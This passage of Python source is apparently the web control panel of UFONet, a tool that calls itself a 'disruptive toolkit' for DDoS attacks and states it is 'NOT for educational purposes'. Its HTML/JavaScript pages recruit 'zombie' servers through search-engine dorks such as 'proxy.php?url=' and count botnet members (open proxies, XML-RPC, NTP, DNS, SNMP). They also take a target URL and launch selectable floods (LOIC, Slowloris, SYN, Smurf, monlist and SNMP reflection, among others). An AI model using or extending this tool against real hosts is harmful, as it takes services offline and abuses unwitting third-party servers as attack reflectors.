  2737. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  2738. </style>"""
  2739. self.pages["/footer"] = """</center></body>
  2740. </html>
  2741. """
  2742. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  2743. function Start() {
  2744. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  2745. }
  2746. </script>
  2747. <script type="text/javascript">
  2748. var text="REMEMBER -> This code is NOT for educational purposes!";
  2749. var delay=1;
  2750. var currentChar=1;
  2751. var destination="tt";
  2752. function type()
  2753. {
  2754. if (document.getElementById)
  2755. {
  2756. var dest=document.getElementById(destination);
  2757. if (dest)
  2758. {
  2759. dest.innerHTML=text.substr(0, currentChar);
  2760. currentChar++
  2761. if (currentChar>text.length)
  2762. {
  2763. currentChar=1;
  2764. setTimeout("type()", 5000);
  2765. }
  2766. else
  2767. {
  2768. setTimeout("type()", delay);
  2769. }
  2770. }
  2771. }
  2772. }
  2773. function startTyping(textParam, delayParam, destinationParam)
  2774. {
  2775. text=textParam;
  2776. delay=delayParam;
  2777. currentChar=1;
  2778. destination=destinationParam;
  2779. type();
  2780. }
  2781. </script>
  2782. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  2783. </head>
  2784. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2785. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2786. <center><br><br><br><br>
  2787. <table><tr>
  2788. <td>
  2789. <div class="ufo-cloud">
  2790. <ul>
  2791. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  2792. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  2793. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  2794. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  2795. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  2796. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  2797. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  2798. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  2799. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  2800. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  2801. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  2802. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  2803. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  2804. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  2805. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  2806. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  2807. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  2808. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  2809. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  2810. </ul>
  2811. </div>
  2812. </td>
  2813. <td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  2814. </td></tr></table><br>
  2815. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a /disruptive_toolkit/ that allows to perform <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks ...<br /><br />
  2816. <div id="tt">REMEMBER -> This code is NOT for educational purposes!</div><br />
  2817. <script type="text/javascript">
  2818. startTyping(text, 80, "tt");
  2819. </script><br />
  2820. <button title="Start Mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  2821. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  2822. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2823. }
  2824. </script>
  2825. <script>function Missions() {
  2826. var win_requests = window.open("missions","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2827. }
  2828. </script>
  2829. <script>function Stats() {
  2830. var win_requests = window.open("stats","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2831. }
  2832. </script>
  2833. <script>function Board() {
  2834. var win_requests = window.open("board","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2835. }
  2836. </script>
  2837. <script>function Links() {
  2838. var win_requests = window.open("links","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2839. }
  2840. </script>
  2841. <script>function Streams() {
  2842. var win_requests = window.open("streams","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2843. }
  2844. </script>
  2845. <script>function Games() {
  2846. var win_requests = window.open("games","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2847. }
  2848. </script>
  2849. <script>function Browser() {
  2850. var win_browser = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2851. }
  2852. </script>
  2853. <script>function GlobalNet() {
  2854. var win_global_net = window.open("globalnet","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2855. }
  2856. </script>
  2857. </head>
  2858. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2859. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2860. <center>
  2861. <table cellpadding="38" cellspacing="38">
  2862. <tr>
  2863. <td>
  2864. <div class="ringMenu">
  2865. <ul>
  2866. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  2867. <li class="top"><a href="botnet">Botnet</a></li>
  2868. <li class="right"><a href="inspect">Inspect</a></li>
  2869. <li class="bottom"><a href="attack">Attack</a></li>
  2870. <li class="left"><a href="help">Help</a></li>
  2871. </ul>
  2872. </div>
  2873. </td>
  2874. <td>
  2875. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  2876. <tr>
  2877. <td>
  2878. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> ;-)
  2879. ----------------------------------
  2880. """ + self.options.version + """
  2881. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  2882. | <a href='javascript:runCommandX("cmd_check_tool")'>Update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> | <a href='javascript:runCommandX("cmd_view_changelog")'>Logs</a> |
  2883. -----------------------------------
  2884. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  2885. - Your ranking is: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</b></a>
  2886. """+str(self.current_tasks)+"""</td>
  2887. <td>
  2888. <table>
  2889. <tr>
  2890. <td>
  2891. <table cellpadding="2" cellspacing="5">
  2892. <tr>
  2893. <td align="right"><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"><br><a href="javascript:News()">NEWS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"><br><a href="javascript:Missions()">MISSIONS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="Stats()"><br><a href="javascript:Stats()">SHIP.STATS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"><br><a href="javascript:Board()">SHIP.BOARD</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien10_img+"""' onclick="Links()"><br><a href="javascript:Links()">SHIP.LINKS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien9_img+"""' onclick="javascript:Streams()"><br><a href="javascript:Streams()">SHIP.STREAMS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien12_img+"""' onclick="javascript:Games()"><br><a href="javascript:Games()">SHIP.GAMES</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien13_img+"""' onclick="javascript:Browser()"><br><a href="javascript:Browser()">SHIP.BROWSER</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien11_img+"""' onclick="GlobalNet()"><br><a href="javascript:GlobalNet()">GLOBAL.NET</a></td>
  2894. </tr>
  2895. </table>
  2896. </td>
  2897. </tr>
  2898. </table>
  2899. </td>
  2900. </tr>
  2901. </table><center><br><br>
  2902. <div id="cmdOut"></div>
  2903. """ + self.pages["/footer"]
  2904. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  2905. function Requests() {
  2906. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2907. }
  2908. function Maps() {
  2909. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  2910. win_map.resizeTo(screen.width,screen.height);
  2911. }
  2912. function Start(){
  2913. dork=document.getElementById("dork").value
  2914. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  2915. if (document.getElementById("autosearch").checked){
  2916. document.getElementById("autosearch").value = "on";
  2917. } else {
  2918. document.getElementById("autosearch").value = "off";
  2919. }
  2920. autosearch = document.getElementById("autosearch").value
  2921. if (document.getElementById("dork_list").checked){
  2922. document.getElementById("dork_list").value = "on";
  2923. } else {
  2924. document.getElementById("dork_list").value = "off";
  2925. }
  2926. dork_list = document.getElementById("dork_list").value
  2927. if(dork == "" && dork_list == "off" && autosearch == "off") {
  2928. window.alert("You need to enter a source for dorking...");
  2929. return
  2930. }else{
  2931. if (document.getElementById("all_engines").checked){
  2932. document.getElementById("all_engines").value = "on";
  2933. exclude_engines=document.getElementById("exclude_engines").value
  2934. } else {
  2935. document.getElementById("all_engines").value = "off";
  2936. }
  2937. all_engines = document.getElementById("all_engines").value
  2938. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  2939. runCommandX("cmd_search",params)
  2940. }
  2941. }
  2942. function showHide()
  2943. {
  2944. if(document.getElementById("dork_list").checked)
  2945. {
  2946. document.getElementById("dork_pattern").style.display = "none";
  2947. document.getElementById("autosearch_pattern").style.display = "none";
  2948. }
  2949. else {
  2950. document.getElementById("dork_pattern").style.display = "";
  2951. document.getElementById("autosearch_pattern").style.display = "";
  2952. }
  2953. }
  2954. function showHideEngines()
  2955. {
  2956. if(document.getElementById("all_engines").checked)
  2957. {
  2958. document.getElementById("s_engine").style.display = "none";
  2959. document.getElementById("sex_engine").style.display = "";
  2960. }
  2961. else {
  2962. document.getElementById("s_engine").style.display = "";
  2963. document.getElementById("sex_engine").style.display = "none";
  2964. }
  2965. }
  2966. function HideAll()
  2967. {
  2968. if(document.getElementById("autosearch").checked)
  2969. {
  2970. document.getElementById("s_engine").style.display = "none";
  2971. document.getElementById("dork_pattern").style.display = "none";
  2972. document.getElementById("list_pattern").style.display = "none";
  2973. document.getElementById("allengines_pattern").style.display = "none";
  2974. document.getElementById("all_engines").checked = false;
  2975. document.getElementById("dork_list").checked = false;
  2976. document.getElementById("dork").value = "";
  2977. }
  2978. else {
  2979. document.getElementById("s_engine").style.display = "";
  2980. document.getElementById("dork_pattern").style.display = "";
  2981. document.getElementById("list_pattern").style.display = "";
  2982. document.getElementById("allengines_pattern").style.display = "";
  2983. }
  2984. }
  2985. </script>
  2986. <script>function Blackholes() {
  2987. var win_requests = window.open("blackholes","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2988. }
  2989. </script>
  2990. </head>
  2991. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2992. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2993. <center>
  2994. <table cellpadding="38" cellspacing="38">
  2995. <tr>
  2996. <td>
  2997. <div class="ringMenu">
  2998. <ul>
  2999. <li class="main"><a href="botnet">Botnet</a></li>
  3000. <li class="top"><a href="help">Help</a></li>
  3001. <li class="right"><a href="inspect">Inspect</a></li>
  3002. <li class="bottom"><a href="attack">Attack</a></li>
  3003. <li class="left"><a href="gui">RETURN</a></li>
  3004. </ul>
  3005. </div>
  3006. </td>
  3007. <td>
  3008. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3009. <tr><td>
  3010. <pre>
  3011. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  3012. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  3013. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  3014. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  3015. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  3016. * Search using this search engine: <select id="engines_list">
  3017. <option value="duck" selected>duck</option>
  3018. <option value="bing">bing</option>
  3019. <option value="yahoo">yahoo</option>
  3020. <!-- <option value="google">google (no TOR!)</option>-->
  3021. <!-- <option value="yandex">yandex</option>-->
  3022. </select></div><div id="allengines_pattern" style="display:block;">
  3023. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  3024. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  3025. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  3026. <br><hr>
  3027. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  3028. <td>
  3029. <table cellpadding="5" cellspacing="2">
  3030. <tr>
  3031. <td><table><tr><td><img src='data:image/png;base64,"""+self.alien3_img+"""' onclick="Blackholes()"></td></tr><tr><td align="right"><a href="javascript:Blackholes()">GLOBAL.WARPS</a></td></tr></table></td>
  3032. </tr>
  3033. <tr>
  3034. <table><tr>
  3035. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  3036. </tr>
  3037. <tr><td><hr></td></tr>
  3038. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  3039. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  3040. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  3041. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  3042. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  3043. <tr><td><table align="right"><tr><td>NTPs:</td><td><a href='javascript:runCommandX("cmd_list_ntps")'>"""+self.num_ntps+"""</a></td></tr></table></td></tr>
  3044. <tr><td><table align="right"><tr><td>DNSs:</td><td><a href='javascript:runCommandX("cmd_list_dnss")'>"""+self.num_dnss+"""</a></td></tr></table></td></tr>
  3045. <tr><td><table align="right"><tr><td>SNMPs:</td><td><a href='javascript:runCommandX("cmd_list_snmps")'>"""+self.num_snmps+"""</a></td></tr></table></td></tr>
  3046. </table>
  3047. </table>
  3048. </td>
  3049. </tr></table>
  3050. </td>
  3051. </tr></table>
  3052. <hr>
  3053. <div id="cmdOut"></div>
  3054. """ + self.pages["/footer"]
  3055. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  3056. function Requests() {
  3057. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3058. }
  3059. function Grid() {
  3060. var win_requests = window.open("grid","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3061. }
  3062. function Wargames() {
  3063. var win_requests = window.open("wargames","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3064. }
  3065. function ShowPanel() {
  3066. if (document.getElementById("extra_attack").checked){
  3067. document.getElementById("extra_panel").style.display = "block";
  3068. document.getElementById("loic").value = "";
  3069. document.getElementById("loris").value = "";
  3070. document.getElementById("ufosyn").value = "";
  3071. document.getElementById("spray").value = "";
  3072. document.getElementById("smurf").value = "";
  3073. document.getElementById("xmas").value = "";
  3074. document.getElementById("nuke").value = "";
  3075. document.getElementById("tachyon").value = "";
  3076. document.getElementById("monlist").value = "";
  3077. document.getElementById("fraggle").value = "";
  3078. document.getElementById("sniper").value = "";
  3079. document.getElementById("ufoack").value = "";
  3080. document.getElementById("uforst").value = "";
  3081. document.getElementById("droper").value = "";
  3082. document.getElementById("overlap").value = "";
  3083. document.getElementById("pinger").value = "";
  3084. document.getElementById("ufoudp").value = "";
  3085. document.getElementById("dbstress").value = "";
  3086. } else {
  3087. document.getElementById("extra_panel").style.display = "none";
  3088. document.getElementById("loic").value = "";
  3089. document.getElementById("loris").value = "";
  3090. document.getElementById("ufosyn").value = "";
  3091. document.getElementById("spray").value = "";
  3092. document.getElementById("smurf").value = "";
  3093. document.getElementById("xmas").value = "";
  3094. document.getElementById("nuke").value = "";
  3095. document.getElementById("tachyon").value = "";
  3096. document.getElementById("monlist").value = "";
  3097. document.getElementById("fraggle").value = "";
  3098. document.getElementById("sniper").value = "";
  3099. document.getElementById("ufoack").value = "";
  3100. document.getElementById("uforst").value = "";
  3101. document.getElementById("droper").value = "";
  3102. document.getElementById("overlap").value = "";
  3103. document.getElementById("pinger").value = "";
  3104. document.getElementById("ufoudp").value = "";
  3105. document.getElementById("dbstress").value = "";
  3106. }
  3107. }
  3108. function Maps() {
  3109. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  3110. win_map.resizeTo(screen.width,screen.height);
  3111. }
  3112. function Start(){
  3113. document.getElementById("attack_button").text = "STOP!"
  3114. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  3115. target=document.getElementById("target").value
  3116. String.prototype.startsWith = function(prefix){
  3117. return this.indexOf(prefix) === 0;
  3118. }
  3119. if(target.startsWith("http")){
  3120. path=document.getElementById("path").value
  3121. rounds=document.getElementById("rounds").value
  3122. dbstress=document.getElementById("dbstress").value
  3123. loic=document.getElementById("loic").value
  3124. loris=document.getElementById("loris").value
  3125. ufosyn=document.getElementById("ufosyn").value
  3126. spray=document.getElementById("spray").value
  3127. smurf=document.getElementById("smurf").value
  3128. xmas=document.getElementById("xmas").value
  3129. nuke=document.getElementById("nuke").value
  3130. tachyon=document.getElementById("tachyon").value
  3131. monlist=document.getElementById("monlist").value
  3132. fraggle=document.getElementById("fraggle").value
  3133. sniper=document.getElementById("sniper").value
  3134. ufoack=document.getElementById("ufoack").value
  3135. uforst=document.getElementById("uforst").value
  3136. droper=document.getElementById("droper").value
  3137. overlap=document.getElementById("overlap").value
  3138. pinger=document.getElementById("pinger").value
  3139. ufoudp=document.getElementById("ufoudp").value
  3140. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp){ // root required!
  3141. window.alert("You need 'root' access!. Check shell and enter your password.");
  3142. }
  3143. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&fraggle="+escape(fraggle)+"&sniper="+escape(sniper)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp)
  3144. if (document.getElementById("visual_attack").checked){
  3145. document.getElementById("visual_attack").value = "on";
  3146. } else {
  3147. document.getElementById("visual_attack").value = "off";
  3148. }
  3149. if(document.getElementById("visual_attack").value=="on"){
  3150. Maps()
  3151. }
  3152. }else{
  3153. window.alert("You need to enter a valid url: http(s)://target.com");
  3154. return
  3155. }
  3156. runCommandX("cmd_attack",params)
  3157. }
  3158. </script>
  3159. </head>
  3160. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3161. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3162. <center>
  3163. <table cellpadding="38" cellspacing="38">
  3164. <tr>
  3165. <td>
  3166. <div class="ringMenu">
  3167. <ul>
  3168. <li class="main"><a href="attack">Attack</a></li>
  3169. <li class="top"><a href="help">Help</a></li>
  3170. <li class="right"><a href="botnet">Botnet</a></li>
  3171. <li class="bottom"><a href="inspect">Inspect</a></li>
  3172. <li class="left"><a href="gui">RETURN</a></li>
  3173. </ul>
  3174. </div>
  3175. </td>
  3176. <td>
  3177. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3178. <tr><td>
  3179. <pre>
  3180. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  3181. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  3182. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  3183. <hr>
  3184. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  3185. <hr><div id="extra_panel" style="display:none;">
  3186. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  3187. <td align="left">* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  3188. <td align="left">* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  3189. <td align="left">* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td>
  3190. <td align="left">* <a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a>:</td><td align="right"> <input type="text" name="fraggle" id="fraggle" size="4" placeholder="101"></td>
  3191. </tr><tr>
  3192. <td align="left">* <a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a>:</td><td align="right"> <input type="text" name="uforst" id="uforst" size="4" placeholder="101"></td>
  3193. <td align="left">* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  3194. <td align="left">* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  3195. <td align="left">* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td>
  3196. </tr><tr>
  3197. <td align="left">* <a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a>:</td><td align="right"> <input type="text" name="droper" id="droper" size="4" placeholder="101"></td>
  3198. <td align="left">* <a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a>:</td><td align="right"> <input type="text" name="sniper" id="sniper" size="4" placeholder="100"></td>
  3199. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="100"></td>
  3200. <td align="left">* <a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a>:</td><td align="right"> <input type="text" name="pinger" id="pinger" size="4" placeholder="101"></td>
  3201. </tr><tr>
  3202. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="101"></td>
  3203. <td align="left">* <a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a>:</td><td align="right"> <input type="text" name="ufoack" id="ufoack" size="4" placeholder="100"></td>
  3204. <td align="left">* <a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a>:</td><td align="right"> <input type="text" name="overlap" id="overlap" size="4" placeholder="100"></td>
